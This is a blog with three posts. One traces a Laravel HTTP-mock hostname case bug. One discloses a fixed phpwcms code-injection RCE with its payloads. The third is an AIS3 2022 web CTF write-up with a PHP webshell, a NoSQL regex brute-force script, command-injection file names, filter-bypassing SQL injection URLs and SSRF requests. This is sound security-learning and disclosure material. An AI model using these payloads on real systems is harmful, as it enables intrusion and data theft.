Laravel HTTP Mock Domain Case-Sensitive Problem

Introduction

簡單記錄一下之前在開發某個產品時踩到的雷,不過因為之後打算修正這個問題再發 PR,所以這邊就先用中文筆記一下問題,之前弄好的話再用英文寫一篇詳細的。

而這個雷就如同標題所述,是個 HTTP 這個 Facade 中的 mock function 的問題,會導致 mock 失效,害我當初卡超久 (;´д`)ゞ

Problem

總之,問題是這樣的,東西寫完總要寫測試,寫完測試也都一切安好,但某天同事密我:「欸,我跑測試掛了,你那邊有這問題ㄇ」,於是開始檢查,看起來是串接外部 service 的測試掛了,但近期明明沒有改到那部分的 code,這就神奇了,開始追查原因,發現原因是即使 HTTP mock 了,他還是會直接打到外部服務,也就是 mock 失效。

而在找了快一天後,發現是第三方提供的 service 網址的 domain 含有大寫(例如:https://Google.com),而 Laravel mock 網址時,會 mock 完全一樣的網址,也就是含大寫的網址,但,HTTP facade 送出 request 時,domain 會轉成小寫,猜測是為了符合 RFC 1035 的規範。而這個不一致就導致了我 mock 的網址與實際送出的網址不符,才導致失效。

範例 code,我們先 mock Google.com,再 assert 他應為 404,但由於前述的問題,他會連上真實的 google.com,而不是我們自己 mock 的,這邊的測試會是 failed 的:

1
2
3
4
Http::fake([
'Google.com' => Http::response('Hello World2', 404),
]);
$this->get('google.com')->assertNotFound();

而為了確認 domain 的確是大小寫不敏感,也就是 https://Google.com 等同於 https://google.com,我去翻了 RFC 1035 的白皮書,確認他裡面的定義,引述一下內容:

Note that while upper and lower case letters are allowed in domain
names, no significance is attached to the case. That is, two names with
the same spelling but different case are to be treated as if identical.

Code Trace

後來 Trace 了一下底層的 Code,由於 mock 的部分看起來是沒有對大小寫處理,因此這邊就先不探討,只研究 Http send request 的部分,而 Laravel 這邊底層的實作是使用 psr7,所以我去翻了他的 source code,看到他的確有把 uri 中 host 的部分由大寫轉小寫,這邊實際 trace 一次:

首先,我們簡單帶過前面的部分,只有最底層的 psr7 會講比較仔細(因為前面用 IDE trace 一下就有了XD)。

這邊以 post() 為例:
vendor\laravel\framework\src\Illuminate\Http\Client\PendingRequest.php#659

1
2
3
4
5
6
public function post(string $url, $data = [])
{
return $this->send('POST', $url, [
$this->bodyFormat => $data,
]);
}

send
vendor\laravel\framework\src\Illuminate\Http\Client\PendingRequest.php#737

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function send(string $method, string $url, array $options = [])
{
if (! Str::startsWith($url, ['http://', 'https://'])) {
$url = ltrim(rtrim($this->baseUrl, '/').'/'.ltrim($url, '/'), '/');
}

$options = $this->parseHttpOptions($options);

[$this->pendingBody, $this->pendingFiles] = [null, []];

if ($this->async) {
return $this->makePromise($method, $url, $options);
}

$shouldRetry = null;

return retry($this->tries ?? 1, function ($attempt) use ($method, $url, $options, &$shouldRetry) {
try {
return tap(new Response($this->sendRequest($method, $url, $options)), function ($response) use ($attempt, &$shouldRetry) {
......

sendRequest
vendor\laravel\framework\src\Illuminate\Http\Client\PendingRequest.php#874

這邊他會視是否同步呼叫不同的 function,我們先追 request 就好,可以看到 $this->buildClient() 的 type 為 \GuzzleHttp\Client,所以我們繼續追。

1
2
3
4
5
6
7
8
9
10
11
12
13
protected function sendRequest(string $method, string $url, array $options = [])
{
$clientMethod = $this->async ? 'requestAsync' : 'request';

$laravelData = $this->parseRequestData($method, $url, $options);

return $this->buildClient()->$clientMethod($method, $url, $this->mergeOptions([
'laravel_data' => $laravelData,
'on_stats' => function ($transferStats) {
$this->transferStats = $transferStats;
},
], $options));
}

request
vendor\guzzlehttp\guzzle\src\Client.php#184

1
2
3
4
5
public function request(string $method, $uri = '', array $options = []): ResponseInterface
{
$options[RequestOptions::SYNCHRONOUS] = true;
return $this->requestAsync($method, $uri, $options)->wait();
}

requestAsync
vendor\guzzlehttp\guzzle\src\Client.php#152

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function requestAsync(string $method, $uri = '', array $options = []): PromiseInterface
{
$options = $this->prepareDefaults($options);
// Remove request modifying parameter because it can be done up-front.
$headers = $options['headers'] ?? [];
$body = $options['body'] ?? null;
$version = $options['version'] ?? '1.1';
// Merge the URI into the base URI.
$uri = $this->buildUri(Psr7\Utils::uriFor($uri), $options);
if (\is_array($body)) {
throw $this->invalidBody();
}
$request = new Psr7\Request($method, $uri, $headers, $body, $version);
// Remove the option so that they are not doubly-applied.
unset($options['headers'], $options['body'], $options['version']);

return $this->transfer($request, $options);
}

uriFor
vendor\guzzlehttp\psr7\src\Utils.php#400

1
2
3
4
5
6
7
8
9
10
11
12
public static function uriFor($uri): UriInterface
{
if ($uri instanceof UriInterface) {
return $uri;
}

if (is_string($uri)) {
return new Uri($uri);
}

throw new \InvalidArgumentException('URI must be a string or UriInterface');
}

再來,我們進到 psr7 的部分:

vendor\guzzlehttp\psr7\src\Uri.php#80 中可以看到 Uri 這個 class 的 __consturct() 的正常流程中,呼叫了 applyParts()

1
2
3
4
5
6
7
8
9
10
public function __construct(string $uri = '')
{
if ($uri !== '') {
$parts = self::parse($uri);
if ($parts === false) {
throw new MalformedUriException("Unable to parse URI: $uri");
}
$this->applyParts($parts);
}
}

vendor\guzzlehttp\psr7\src\Uri.php#538
追進去,可以看到若有 host 時,會呼叫 filterHost()

1
2
3
4
5
6
7
8
9
10
11
12
private function applyParts(array $parts): void
{
$this->scheme = isset($parts['scheme'])
? $this->filterScheme($parts['scheme'])
: '';
$this->userInfo = isset($parts['user'])
? $this->filterUserInfoComponent($parts['user'])
: '';
$this->host = isset($parts['host'])
? $this->filterHost($parts['host'])
: '';
......

vendor\guzzlehttp\psr7\src\Uri.php#605
再追進去就可以看到他實作了大寫轉小寫的部分:

1
2
3
4
5
6
7
8
private function filterHost($host): string
{
if (!is_string($host)) {
throw new \InvalidArgumentException('Host must be a string');
}

return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
}

vendor\guzzlehttp\psr7\src\Uri.php#573
而除了 URI 的 Host 部分,可以看到 Scheme 的部分也有作一樣的事情,所以這部分也需要注意:

1
2
3
4
5
6
7
8
private function filterScheme($scheme): string
{
if (!is_string($scheme)) {
throw new \InvalidArgumentException('Scheme must be a string');
}

return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
}

Summary

所以看起來問題是存在的,預計會找個有空的時間把這東西修好發個 PR 到 Laravel 那邊,目前初步想法是看能不能將 mock 的網址中的 Host 及 Scheme 部分一樣實作大寫轉小寫,或與官方討論一下看能怎麼處理。

總之這邊就簡單筆記一下,希望可以幫助一樣踩到這個坑的人,也希望我有時間去研究一下怎麼補起來 XD

這裡可以看到,「inconsistent」常常是 bug 或是漏洞的成因,因此我們自己在開發或是 review 時,也可以重點朝這方面去注意,可以避免一些淺在的問題。

AIS3 課程中所發現的 Zeroday RCE 問題

Introduction

這篇文章是為了記錄一下 AIS3 期間的學習歷程,至於這篇由於偏筆記,而且沒什麼特別的成果,所以就用中文稍微紀錄一下而已😂。

此篇由來是今年七月底剛參加完了 AIS3,而今年的 AIS3 在結束的時候需要專題發表,而我的組別是網頁安全,所以就想來做個白箱安全的議題,嘗試在 GitHub 中開源且接受安全漏洞回報的 repo 上挖洞,雖然我個人覺得成果蠻差的 QQ,不過至少還是紀錄一下。

Target

phpwcms 1.9.33 on GitHub

在評估時間跟實力後,我只找了一個知名度較低的 CMS 框架,雖然 GitHub 上的 Star 數不高(撰文時僅 82),但社群及作者似乎都還算活躍,近期也持續在進行更新,還有一個論壇,歷史也十分久遠(似乎超過 20 年),因此應該還是有一定的使用者。

Vulnerabilities

先講結論,最後成功找到一個 RCE 的問題以及另一個 XSS,不過 XSS 在與作者溝通後,他認為那是原本 CMS 所提供的 Feature,且只有後臺使用者可以觸發,因此不算是安全漏洞,所以最後只有回報一個漏洞。

最後與作者溝通完後,我將漏洞回報至 huntr.dev 上(一個有提供 OSS Bounty 的網站,推薦找到漏洞可以去多少賺點零錢,官方很佛,好像是自掏腰包的 🤣),也成功拿了 $6(多吃一餐,賺( •̀ ω •́ )✧),目前 report 已經公開,可以看:
https://huntr.dev/bounties/df8a3f9e-db11-4aa5-bfa9-1af1ee892f15

Details

首先,RCE 的問題只存在 Admin 可以觸發,雖然在自架 Service 時較無問題,但若是託管服務或是開放給其他使用者時,可能會造成嚴重的問題。

第二,phpwcms 的後台有分成完整權限的 Admin 以及一般權限的 User,而我原先想讓 User 利用 XSS + CSRF 去做到 Admin 權限的操作,這樣就可以讓第一點更加嚴重,但在課程結束前還沒找到可以繞過 CSRF 的方式 :(,再加上課程結束後回報給作者也如同上述所述,不算是漏洞,因此這邊只會講解第一個 RCE 的部分。

RCE due to Code injection

在 Control Panel 中,Admin 可以輸入一些網站的設定值,而框架會把這些設定值寫入 .php 的檔案中,而如果我們可以跳脫字串就等於可以執行任意 php 語句,也就是可以在電腦中執行任意指令。

而在過程中,雖然他有做簡單的過濾,但可以很輕易的繞過,再加上其中部分過濾的實作還打錯字,導致過濾失效。

避免 master 之後產生變化,這邊直接節錄重點 code:

1
2
// https://github.com/slackero/phpwcms/blob/master/include/inc_act/act_structure.php#L85
$sql .= "\$indexpage['acat_name'] = '". str_replace("''", "\\'", clean_slweg($_POST["acat_name"], 2000))."';\n";

可以看到上述是想把單引號前加上反斜線,讓惡意使用者無法跳脫字串,進而在字串後接上任意指令,但此處的第一個參數中,誤將 "'" 打成 "''",導致只有連續兩個單引號才會被替換成前有反斜線的單引號,甚至不用任何技巧就可以直接執行。Payload 如下:

1
'; phpinfo(); //
1
2
// https://github.com/slackero/phpwcms/blob/master/include/inc_act/act_structure.php#L109
$sql .= "\$indexpage['acat_class'] = '". str_replace("'", "\\'", $acat_class)."';\n";

而往下看幾行,發現他正確的使用了 "'",但這樣我們還是可以用反斜線繞過,只要在前述的 Payload 前加一個 \,這樣在單引號被替換後,這個反斜線就會去跳脫第二個反斜線,導致單引號還是會讓字串結束,而不是被反斜線跳脫。Payload 如下:

1
\'; phpinfo(); //

最後課程結束後回報給作者,作者超友善,不到半天時間就回應而且修好了,嚇了我一跳🤣

Summary

作為一個開發者,不得不說這種 typo 其實還是很常見的 XDD,而且雖然會寫測試,但這種通常都是測試測不出來的,很需要 reviewer 去抓出來,沒抓出來就會出事,這也是開源的好處ㄅ owob

雖然在 CTF 中,常常會遇到各種類似的跳脫問題,不過這還是我第一次回報 Bounty,又可以同時對 OSS 做貢獻,蠻有趣的經驗,希望以後有空再來挖大一點的專案(?

AIS3 Pre-Exam 2022 Web Write-Up

Introduction

This article is the write-up of 2022 AIS3 pre-exam. AIS3 is a security course held in Taiwan, and pre-exam is something like qualification test. This is my first time participate AIS3. Fortunately I passed the pre-exam, so maybe I will share some note or something after the course end(?).

And I could only solve web question, so that’s it :( Let’s start.

Questions

Poking Bear

Solved 205/292
Interest ★
Difficulty ☆
New-knowledge ☆
Bear ★★★

There are a lot of buttons, so I checked out the href property. It’s like http://chals1.ais3.org:8987/bear/{num}. And SECRET BEAR has no number in the property. Because the numbers seems like no regular intervals, I wrote a script to find out what is the number of secret bear.

1
2
3
4
5
6
7
8
9
10
import requests
import bs4

START_INDEX = 351
END_INDEX = 776

for i in range(START_INDEX, END_INDEX):
print(i)
response = requests.get(f"http://chals1.ais3.org:8987/bear/{i}").text
print(bs4.BeautifulSoup(response).find("h1").text.strip())

And found out the number is 499, but when I enter the url. I got:

So I checked out my cookie.
看一下 cookie,現在是 human,所以改成 bear poker。

Seems I am a human now, so changed it to bear poken.

Works!

Simple File Uploader

Solved 92/292
Interest ★
Difficulty ☆
New-knowledge ☆
p…php ?? (((゚Д゚;))) ★★★

We can upload file to the website, so maybe a webshell question?

It already gave us source code, so let’s check it out first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php

if (isset($_FILES['file'])) {
$file_name = basename($_FILES['file']['name']);
$file_tmp = $_FILES['file']['tmp_name'];
$file_type = $_FILES['file']['type'];
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (in_array($file_ext, ['php', 'php2', 'php3', 'php4', 'php5', 'php6', 'phtml', 'pht'])) {
die('p...php ?? (((゚Д゚;)))');
}

$box = md5(session_start() . session_id());
$dir = './uploads/' . $box . '/';
if (!file_exists($dir)) {
mkdir($dir);
}

$is_bad = false;
$file_content = file_get_contents($file_tmp);
$data = strtolower($file_content);

if (strpos($data, 'system') !== false) {
$is_bad = true;
} else if (strpos($data, 'exec') !== false) {
$is_bad = true;
} else if (strpos($data, 'passthru') !== false) {
$is_bad = true;
} else if (strpos($data, 'show_source') !== false) {
$is_bad = true;
} else if (strpos($data, 'proc_open') !== false) {
$is_bad = true;
} else if (strpos($data, 'popen') !== false) {
$is_bad = true;
} else if (strpos($data, 'pcntl_exec') !== false) {
$is_bad = true;
} else if (strpos($data, 'eval') !== false) {
$is_bad = true;
} else if (strpos($data, 'assert') !== false) {
$is_bad = true;
} else if (strpos($data, 'die') !== false) {
$is_bad = true;
} else if (strpos($data, 'shell_exec') !== false) {
$is_bad = true;
} else if (strpos($data, 'create_function') !== false) {
$is_bad = true;
} else if (strpos($data, 'call_user_func') !== false) {
$is_bad = true;
} else if (strpos($data, 'preg_replace') !== false) {
$is_bad = true;
} else if (strpos($data, 'scandir') !== false) {
$is_bad = true;
}


if ($is_bad) {
die('You are bad ヽ(#`Д´)ノ');
}

$new_filename = md5(time()) . '.' . $file_ext;
move_uploaded_file($file_tmp, $dir . $new_filename);
echo '
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css">
<title>Simple File Uploader</title>
</head>

<body>
<div class="container is-vcentered is-centered" style="max-width: 60%; padding-top: 10%;">
<article class="message">
<div class="message-header">
<p>Upload Success!</p>
<button class="delete" aria-label="delete"></button>
</div>
<div class="message-body">
Upload /uploads/' . $box . '/' . $new_filename . '
</div>
</article>
</div>
<body>
</html> ';
} else if (isset($_GET['src'])) {
show_source("index.php");
} else {
echo file_get_contents('home.html');
}

Ok, we can bypass extension blacklist by pHp, and use dynamic function name to bypass second blacklist. Upload a webshell:

1
2
<?php
$_GET['a']($_GET['b']);

And executed it with:
http://chals1.ais3.org:8988/uploads/{MY_WEB_SHELL}.pHp?a=system&b=/rUn_M3_t0_9et_fL4g

The Best Login UI

Solved 32/292
Interest ★★
Difficulty ★
New-knowledge ★★
Be…st.. UI ☆

The question provide the source code, so that’s it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const bodyParser = require('body-parser');

const app = express();
app.use(bodyParser.urlencoded({ extended: true }));

const PORT = process.env.PORT || 3000;
const mongo = {
host: process.env.MONGO_HOST || 'localhost',
db: process.env.MONGO_DB || 'loginui',
};

app.get('/', (_, res) => {
res.sendFile(__dirname + '/index.html');
});

app.post('/login', async (req, res) => {
const db = app.get('db');
const { username, password } = req.body;
const user = await db.collection('users').findOne({ username, password });
if (user) {
res.send('Success owo!');
} else {
res.send('Failed qwq');
}
});

const MongoClient = require('mongodb').MongoClient;

MongoClient.connect(mongo.host, (err, client) => {
if (err) throw err;
app.set('db', client.db(mongo.db));
app.listen(PORT, () => console.log(`Listening on port ${PORT}`));
});

Around line 19, it didn’t check input type. So we can input something like {'$regex': myRegex} (regex of mongodb) instead of real password.

Write a script to BF password(that is: flag) with regex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import string

flag = "AIS3{"
charset = string.printable
done = False

while not done:
for i in range(len(charset)):
candidate = charset[i]
escape_candidate = candidate
if escape_candidate in "()*$+.?^\{\}[]|":
escape_candidate = "\\" + escape_candidate
print(candidate)

response = requests.post(
"http://chals1.ais3.org:54088/login",
{
"username": "admin",
"password[$regex]": flag + escape_candidate,
},
).text

if response == "Success owo!":
flag += candidate
if candidate == "}":
done = True
break
print(flag)

Just remember to escape some special characters to avoid error.(line 12) And everything is fine👍

TariTari

Solved 26/292
Interest ★★
Difficulty ★☆
New-knowledge ★
Disappointment ★★★ (When I saw a flag but not for me QQ)

Uploaded some file and got a response like:

1
<a href="/download.php?file=ZjY0MGNjOWQ0ZTQwYzAwODliYmIxZjg1OGI2NWEwMmEudGFyLmd6&amp;name=removed.png.tar.gz.tar.gz">Download</a>

Try to change name, but got a error:

Than let’s try another parameter. First decode the file:

1
03c0ec25a3cd7de367da1ff7c5461e8d.tar.gz

So maybe a path traversal here? Encoded ../../../etc/passwd and filled in:

So it works, try to download index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<h1>Tari</h1>
<p>Tari is a service that converts your file into a .tar.gz archive.</p>
<form action="/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
<?php
function get_MyFirstCTF_flag()
{
// **MyFirstCTF ONLY FLAG**
// Please IGNORE this flag if you are AIS3 Pre-Exam Player

// Congratulations, you found the flag!
// RCE me to get the second flag, it placed in the / directory :D
echo 'MyFirstCTF FLAG: AIS3{../../3asy_pea5y_p4th_tr4ver5a1}';
}

function tar($file)
{
$filename = $file['name'];
$path = bin2hex(random_bytes(16)) . ".tar.gz";
$source = substr($file['tmp_name'], 1);
$destination = "./files/$path";
passthru("tar czf '$destination' --transform='s|$source|$filename|' --directory='/tmp' '/$source'", $return);
if ($return === 0) {
return [$path, $filename];
}
return [FALSE, FALSE];
}

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$file = $_FILES['file'];
if ($file === NULL) {
echo "<p>No file was uploaded.</p>";
} elseif ($file['error'] !== 0) {
echo "<p>Error: Upload error.</p>";
} else {
[$path, $filename] = tar($file);
if ($path === FALSE) {
echo "<p>Error: Failed to create archive.</p>";
} else {
$path = base64_encode($path);
$filename = urlencode($filename);
echo "<a href=\"/download.php?file=$path&name=$filename.tar.gz\">Download</a>";
}
}
}

There is a flag, but I am not the participant of MyFirstCTF QQ

So let’s try to abuse command injection next. Upload a file named qwe'; whoami; echo '

Nice!

And I tried to use ls / to find out flag’s filename, but somehow it doesn’t work :( Maybe there’s a WAF or something?

So I bypassed / with ${IFS}:

1
qwe'; ls `echo${IFS}${PATH}|cut${IFS}-c1-1`;echo '

Bypass success! and just print out the flag

Cat Emoji Database

Solved 15/292
Interest ★★☆
Difficulty ★★☆
New-knowledge ★★☆
CATS😻 ★★★★★

It provided source code too:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request, redirect, jsonify, send_file
import re

app = Flask(__name__)


@app.before_request
def fix_path():
# trim all the whitespace from path
trimmed = re.sub("\s+", "", request.path)
if trimmed != request.path:
return redirect(trimmed)


@app.route("/")
def index():
return send_file("index.html")


@app.route("/api/all")
def emojis():
cursor = db().cursor()
cursor.execute("SELECT Name FROM Emoji")
return jsonify(cursor.fetchall())


@app.route("/api/emoji/<unicode>")
def api(unicode):
print("SELECT * FROM Emoji WHERE Unicode = %s" % unicode)
row = ""
if row:
return jsonify({"data": row})
else:
return jsonify({"error": "Cat emoji not found"})


@app.route("/source")
def source():
return send_file(__file__, mimetype="text/plain")

So, seems like we need to do SQLi without the space.

Try get all cats:

It told us hint is in the secret_cat emoji.

But we don’t have its id. So SQLi time:
http://chals1.ais3.org:9487/api/emoji/(128006)or(id=3)

FLAG is in other table, so we need to know what kind of db is this to do more.

http://chals1.ais3.org:9487/api/emoji/(12800996)union(SELECT+1,2,1,@@version,null)

Through @@version, we knew it’s SQL Server.

So we can bypass space with %C2%A0 and some parentheses.
This will show table_schema, table_name, and column_name, but only first table because of the fetchone() in source code. And the first table is Emoji. So that’s not table we need.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),concat_ws(0x3a,table_schema,table_name,column_name),(‘’),(‘’),(‘1’)%C2%A0from.information_schema.columns)

So let’s skip Emoji table by WHERE.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),concat_ws(0x3a,table_schema,table_name,column_name),(‘’),(‘’),(‘1’)%C2%A0from.information_schema.”columns”where”table_name”!=’Emoji’)

Found a table and column seems has flag, so let’s select it.
http://chals1.ais3.org:9487/api/emoji/(12800996)union(SeLECT(1),(m1ght_be_th3_f14g),(‘’),(‘’),(‘1’)%C2%A0from.s3cr3t_fl4g_in_th1s_t4bl3)

Got the flag successfully!

Private Browsing

Solved 4/292
Interest ★★☆
Difficulty ★★★
New-knowledge ★★★
What-a-pity ★★★

Looks like SSRF, so let’s try read source code.

http://chals1.ais3.org:8763/api.php?action=view&url=file:///var/www/html/api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

<?php
require_once 'session.php';
class BrowsingSession
{
function __construct()
{
$this->history = [];
}
function push($url)
{
$this->history[] = $url;
}
function get_history()
{
return $this->history;
}
function clear_history()
{
$this->history = [];
}
static function new()
{
return new BrowsingSession();
}
}
$session = SessionManager::load_from_cookie('sess_id', ['BrowsingSession', 'new']);
if (!isset($_GET['action'])) {
die();
}
$action = $_GET['action'];
if ($action === 'view' && isset($_GET['url'])) {
header("Content-Security-Policy: script-src 'none'");
$url = $_GET['url'];
$session->push($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_exec($ch);
curl_close($ch);
} else if ($action === 'get_history') {
header('Content-Type: application/json');
echo json_encode($session->get_history());
} else if ($action === 'clear_history') {
$session->clear_history();
echo 'OK';
}

and session.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

<?php
$redis = new Redis();
$redis->connect('redis', 6379);
class SessionManager
{
function __construct($redis, $sessid, $fallback, $encode = 'serialize', $decode = 'unserialize')
{
$this->redis = $redis;
$this->sessid = $sessid;
$this->encode = $encode;
$this->decode = $decode;
$this->fallback = $fallback;
$this->val = null;
}

function get()
{
if ($this->val !== null) {
return $this->val;
}
if ($this->redis->exists($this->sessid)) {
$this->val = ($this->decode)($this->redis->get($this->sessid));
} else {
$this->val = ($this->fallback)();
}
return $this->val;
}

function __destruct()
{
global $redis;
if ($this->val !== null) {
$redis->set($this->sessid, ($this->encode)($this->val));
}
}

function __call($name, $arguments)
{
return $this->get()->{$name}(...$arguments);
}

static function load_from_cookie($name, $fallback)
{
global $redis;
if (isset($_COOKIE[$name])) {
$sessid = $_COOKIE[$name];
} else {
$sessid = bin2hex(random_bytes(10));
setcookie($name, $sessid);
}
return new SessionManager($redis, $sessid, $fallback);
}
}

We found redis service in session.php line 2, so try get some info with dict.

http://chals1.ais3.org:8763/api.php?action=view&url=dict://redis:6379/info

1
2
3
4
5
6
7
8
9
10
11
12
-ERR unknown subcommand 'libcurl'. Try CLIENT HELP.
$4860
# Server
redis_version:7.0.0
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:e7d3349b21c83e26
redis_mode:standalone
.
.
.
// not gonna show all because too long :(

But when I tried to write file with redis, I found out some common commands were blocked.

Seems we need to change redis’s data by SSRF to control input of session.php and exploiting unserialization vulnerabilities? but no time QQ

↑ This is my guess at the second day ended, but I have to work in the 3rd day of exam. So unfortunately I’m not able to solve all web question, maybe someday😥

There is the write-up from the qeustion setter, seems really close to my assumption.

Solved 4/292
Interest ★★★
Difficulty ★★★☆
New-knowledge ★★★
What-a-pity ★★★

Some source code from question:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
from flask import Flask, render_template, request, redirect, url_for, g, session, send_file
import sqlite3
import secrets
import os
import uuid
import mimetypes
import pathlib

from rq import Queue
from redis import Redis

app = Flask(__name__)
app.queue = Queue(connection=Redis('xss-bot'))
app.config.update({
'SECRET_KEY': secrets.token_bytes(16),
'UPLOAD_FOLDER': '/data/uploads',
'MAX_CONTENT_LENGTH': 32 * 1024 * 1024, # 32MB
})

IMAGE_EXTENSIONS = [ext for ext, type in mimetypes.types_map.items()
if type.startswith('image/')]

ADMIN_PASSWORD = os.getenv('ADMIN_PASSWORD', 'admin')
FLAG_UUID = os.getenv('FLAG_UUID', str(uuid.uuid4()))


def db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect('/tmp/db.sqlite3')
db.row_factory = sqlite3.Row
return db


@app.before_first_request
def create_tables():
cursor = db().cursor()
cursor.executescript("""
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);
CREATE TABLE IF NOT EXISTS images (
id INTEGER PRIMARY KEY AUTOINCREMENT,
uuid TEXT,
title TEXT,
filename TEXT,
user_id INTEGER,
FOREIGN KEY(user_id) REFERENCES users(id)
);
""")
cursor.execute("SELECT * FROM users WHERE username='admin'")
if cursor.fetchone() == None:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)",
('admin', ADMIN_PASSWORD))
admin_id = cursor.lastrowid
cursor.execute("INSERT INTO images (user_id, uuid, filename, title) VALUES (?, ?, ?, ?)",
(admin_id, FLAG_UUID, FLAG_UUID+".png", "FLAG"))

db().commit()


@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()


@app.after_request
def add_csp(response):
response.headers['Content-Security-Policy'] = ';'.join([
"default-src 'self'",
"font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com"
])
return response


@app.route('/')
def index():
if 'user_id' not in session:
return redirect(url_for('login'))
cursor = db().cursor()
cursor.execute("SELECT * FROM images WHERE user_id=?",
(session['user_id'],))
images = cursor.fetchall()
return render_template('index.html', images=images)


@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
username = request.form['username']
password = request.form['password']
if len(username) < 5 or len(password) < 5:
return render_template('login.html', error="Username and password must be at least 5 characters long.")
cursor = db().cursor()
cursor.execute("SELECT * FROM users WHERE username=?", (username,))
user = cursor.fetchone()
if user is None:
user_id = cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)",
(username, password)).lastrowid
session['user_id'] = user_id
db().commit()
return redirect(url_for('index'))
elif user['password'] == password:
session['user_id'] = user['id']
return redirect(url_for('index'))
else:
return render_template('login.html', error="Invalid username or password")


@app.route('/image/<uuid>')
def view(uuid):
cursor = db().cursor()
cursor.execute("SELECT * FROM images WHERE uuid=?", (uuid,))
image = cursor.fetchone()
if image:
if image['user_id'] != session['user_id'] and session['user_id'] != 1:
return "You don't have permission to view this image.", 403
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], image['filename']))
else:
return "Image not found.", 404


@app.route('/image/<uuid>/download')
def download(uuid):
cursor = db().cursor()
cursor.execute("SELECT * FROM images WHERE uuid=?", (uuid,))
image = cursor.fetchone()
if image:
if image['user_id'] != session['user_id'] and session['user_id'] != 1:
return "You don't have permission to download this image.", 403
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], image['filename']), as_attachment=True, mimetype='application/octet-stream')
else:
return "Image not found.", 404


@app.route('/upload', methods=['GET', 'POST'])
def upload():
if 'user_id' not in session:
return redirect(url_for('login'))
if request.method == 'GET':
return render_template('upload.html')
else:
title = request.form['title'] or '(No title)'
file = request.files['file']
if file.filename == '':
return render_template('upload.html', error="No file selected")

extension = pathlib.Path(file.filename).suffix
if extension not in IMAGE_EXTENSIONS:
return render_template('upload.html', error="File must be an image")

image_uuid = str(uuid.uuid4())
filename = image_uuid + extension
cursor = db().cursor()
cursor.execute("INSERT INTO images (user_id, uuid, title, filename) VALUES (?, ?, ?, ?)",
(session['user_id'], image_uuid, title, filename))
db().commit()
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return redirect(url_for('index'))


@app.route('/report', methods=['GET', 'POST'])
def report():
if 'user_id' not in session:
return redirect(url_for('login'))

if request.method == 'GET':
return f'''
<h1>Report to admin</h1>
<p>注意:admin 會用 <code>http://web/</code> (而非 {request.url_root} 作為 base URL 來訪問你提交的網站。</p>
<form action="/report" method="POST">
<input type="text" name="url" placeholder="URL ({request.url_root}...)">
<input type="submit" value="Submit">
</form>
'''
else:
url = request.form['url']
if url.startswith(request.url_root):
url_path = url[len(request.url_root):]
app.queue.enqueue('xssbot.browse', url_path)
return 'Reported.'
else:
return f"[ERROR] Admin 只看 {request.url_root} 網址"

We can bypass IMAGE_EXTENSIONS white list and xss by uploaded a .svg file.

